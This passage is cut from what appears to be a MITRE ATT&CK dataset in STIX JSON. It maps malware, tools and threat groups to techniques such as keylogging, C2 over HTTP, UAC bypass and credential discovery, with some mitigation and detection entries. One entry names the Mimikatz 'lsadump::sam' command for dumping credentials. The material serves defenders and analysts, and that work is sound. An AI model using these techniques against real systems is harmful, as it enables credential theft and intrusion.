2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80a14bfe-6bf6-4f87-8ae1-5085505656f2","type":"relationship","created":"2020-05-12T21:56:33.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T21:56:33.057Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) communicated over HTTP and HTTPS with C2 servers.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80a23356-20b7-49a3-a48e-e0c04e2bff86","created":"2019-07-18T17:42:08.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-28T14:58:35.039Z","description":"Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access software.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--80a7d2d1-863e-43b5-b22d-72696c591206","created":"2022-07-29T19:34:13.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. ","modified":"2022-07-29T19:34:13.847Z","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80a8cd03-8f65-41fb-803a-64d92f9f1522","created":"2022-09-27T16:22:30.103Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:22:30.103Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors encrypted IP addresses used for \"Agent\" proxy hops with RC4.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--80a8ee57-3169-4928-aa94-56d356b72931","created":"2022-04-19T16:30:34.681Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can collect the user name from a victim's machine.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T16:30:34.681Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80a95235-abd0-4911-abca-91ec1f7e27d3","type":"relationship","created":"2020-11-13T20:08:48.728Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:08:48.728Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can log keystrokes on the victim's machine.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80aab758-d3fc-4380-b114-e552bdace832","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-17T00:19:38.025Z","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80abde96-13dc-4551-9430-d8edddbba216","type":"relationship","created":"2020-05-28T16:19:14.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T16:19:14.596Z","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to run commands on a compromised host.(Citation: Unit 42 MechaFlounder March 2019)","relationship_type":"uses","source_ref":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80b0aa57-f6cc-411c-8c54-65fad30f8143","created":"2024-09-23T23:01:37.834Z","revoked":false,"external_references":[{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:01:37.834Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has collected information about local accounts.(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80b30059-28a5-4eaa-9d7c-193875bbccd0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Überwachung APT28 Forfiles June 2015","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}],"modified":"2022-02-28T16:30:02.550Z","description":"(Citation: Überwachung APT28 Forfiles June 2015)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--96fd6cc4-a693-4118-83ec-619e5352d07d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--80b87eab-243c-4e98-a85e-2684520f8824","created":"2022-03-24T20:26:35.608Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate and collect the properties of domain computers.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T13:56:25.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--80bd9e02-dee9-48e9-9a75-a64ac58eefad","created":"2022-06-09T18:55:20.972Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has used PowerShell for execution.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:55:20.972Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80bdb12e-5bf8-4f3c-aaba-185f31a7ad0a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Invoke-Obfuscation","description":"Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.","url":"https://github.com/danielbohannon/Invoke-Obfuscation"},{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:25:06.235Z","description":"The PowerShell script with the [RogueRobin](https://attack.mitre.org/software/S0270) payload was obfuscated using the COMPRESS technique in `Invoke-Obfuscation`.(Citation: Unit 42 DarkHydrus July 2018)(Citation: GitHub Invoke-Obfuscation)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80bead39-b050-48d9-b185-aa31d1681a61","type":"relationship","created":"2020-06-29T23:17:50.379Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-08-19T16:11:52.444Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) can automatically launch a Linux virtual machine as a service at startup if the AutoStart option is enabled in the VBoxVmService configuration file.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80c071f7-123e-468f-800d-726a1d3e4144","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://published-prd.lanyonevents.com/published/rsaus17/sessionsFiles/5009/HTA-F02-Detecting-and-Responding-to-Advanced-Threats-within-Exchange-Environments.pdf","description":"Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.","source_name":"RSA2017 Detect and Respond Adair"}],"modified":"2021-06-16T15:46:43.245Z","description":"(Citation: RSA2017 Detect and Respond Adair)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80c122f6-6aea-4e27-aff2-09467bc4a628","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-19T19:42:05.844Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses cmd.exe to execute scripts and commands on the victim’s machine.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80c27fda-8e6c-49f4-a236-5ac424fd0849","created":"2024-03-22T20:02:10.923Z","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-22T20:02:10.923Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has been spread via emails containing malicious links.(Citation: SocGholish-update)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80c90e89-2519-40cb-8757-06471e47d0fb","type":"relationship","created":"2019-05-14T16:58:13.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.111Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has used the WMI command-line (WMIC) utility to run tasks.(Citation: Kaspersky StoneDrill 2017)","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Tasklist","description":"Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.","url":"https://technet.microsoft.com/en-us/library/bb491010.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Tasklist](https://attack.mitre.org/software/S0057) can be used to enumerate security software currently running on a system by process name of known products.(Citation: Microsoft Tasklist)","relationship_type":"uses","source_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80cbc348-7246-418a-8b25-e112408a498b","created":"2023-02-15T20:46:05.649Z","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T20:46:05.649Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use `net group` for discovery on targeted domains.(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80cc26ad-62b5-49f0-bb8d-bd588bd51585","type":"relationship","created":"2019-06-28T16:02:08.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.729Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) has the ability to download and execute additional files.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80d305f4-1c13-48fb-ac47-14d272acefd9","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80d4d084-46c0-481f-8827-66bfa2a7bbdd","created":"2022-12-13T21:03:18.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-26T14:45:44.099Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used [Mimikatz](https://attack.mitre.org/software/S0002) to execute the `lsadump::sam` command on dumped registry hives to obtain locally stored credentials and NTLM hashes.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80d612e4-8d4a-45f7-8c29-d44a1aae794c","type":"relationship","created":"2019-01-30T17:33:40.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."}],"modified":"2019-06-28T15:30:58.582Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) uses various techniques to bypass UAC.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--80d72d09-c1a4-4735-b85a-28bfc19ef8b9","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.629Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--80d8e746-f0a0-4781-824a-0147dbbee072","created":"2020-07-15T19:28:00.745Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has checked for the existence of a Service key to determine if it has already been installed on the system.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:08:54.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80dcd852-39c2-4ef9-a401-e54982010a65","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2019-04-29T18:01:20.633Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80e06d13-4c96-464c-9b9f-d0cb2b5fac18","type":"relationship","created":"2020-12-15T18:01:09.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA 